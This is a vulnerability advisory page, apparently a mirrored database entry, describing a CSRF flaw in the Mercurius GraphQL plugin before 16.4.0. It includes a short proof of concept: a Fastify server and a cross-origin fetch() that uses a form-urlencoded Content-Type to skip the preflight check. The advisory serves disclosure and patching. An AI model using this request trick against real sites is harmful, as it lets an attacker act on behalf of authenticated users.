Mercurius: Incorrect Content-Type parsing can lead to CSRF attack
Summary
A Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the Content-Type header in requests. Specifically, requests with Content-Type values such as application/x-www-form-urlencoded, multipart/form-data, or text/plain could be misinterpreted as application/json. This misinterpretation bypasses the preflight checks performed by the fetch() API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.
Impact
An attacker could exploit this vulnerability by crafting a malicious request with a Content-Type that Fastify incorrectly parses as application/json. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.
Proof of Concept
// Server-side Fastify setup
const Fastify = require('fastify');
const mercurius = require('mercurius');
const app = Fastify();
const schema = `
type Query {
hello(name: String): String
}
`;
const resolvers = {
Query: {
hello: (_, { name }) => `Hello ${name || 'World'}!`
}
};
app.register(mercurius, { schema, resolvers });
app.listen(3000, () => {
console.log('Server listening on http://localhost:3000');
});// Malicious client-side code
fetch('http://localhost:3000/graphql', {
method: 'POST',
body: JSON.stringify({ query: '{ hello(name: "attacker") }' }),
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
credentials: 'include'
});In the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a Content-Type that Fastify incorrectly parses as application/json.
Mitigation
To address this vulnerability, CSRF protection has been implemented.
References
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | mercurius | < 16.4.0 | 16.4.0 |
Referencias
- https://github.com/mercurius-js/mercurius/security/advisories/GHSA-v66j-6wwf-jc57
- https://nvd.nist.gov/vuln/detail/CVE-2025-64166
- https://github.com/mercurius-js/mercurius/pull/1187
- https://github.com/mercurius-js/mercurius/commit/962d402ec7a92342f4a1b7f5f04af01776838c3c
- https://github.com/mercurius-js/mercurius
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N- Debilidad (CWE)
CWE-352- Plataforma
- npm
- Paquete
mercurius- Publicada
- 05.03.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-v66j-6wwf-jc57 - CC BY 4.0
Historial de vulnerabilidades: mercurius
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 4
- Primera → última
- 12.2021 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 1
- Media 2
- Baja 1
Divulgaciones por año
- 2021: 1
- 2022: 0
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 2
-
Mercurius: Incorrect Content-Type parsing can lead to CSRF attack esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.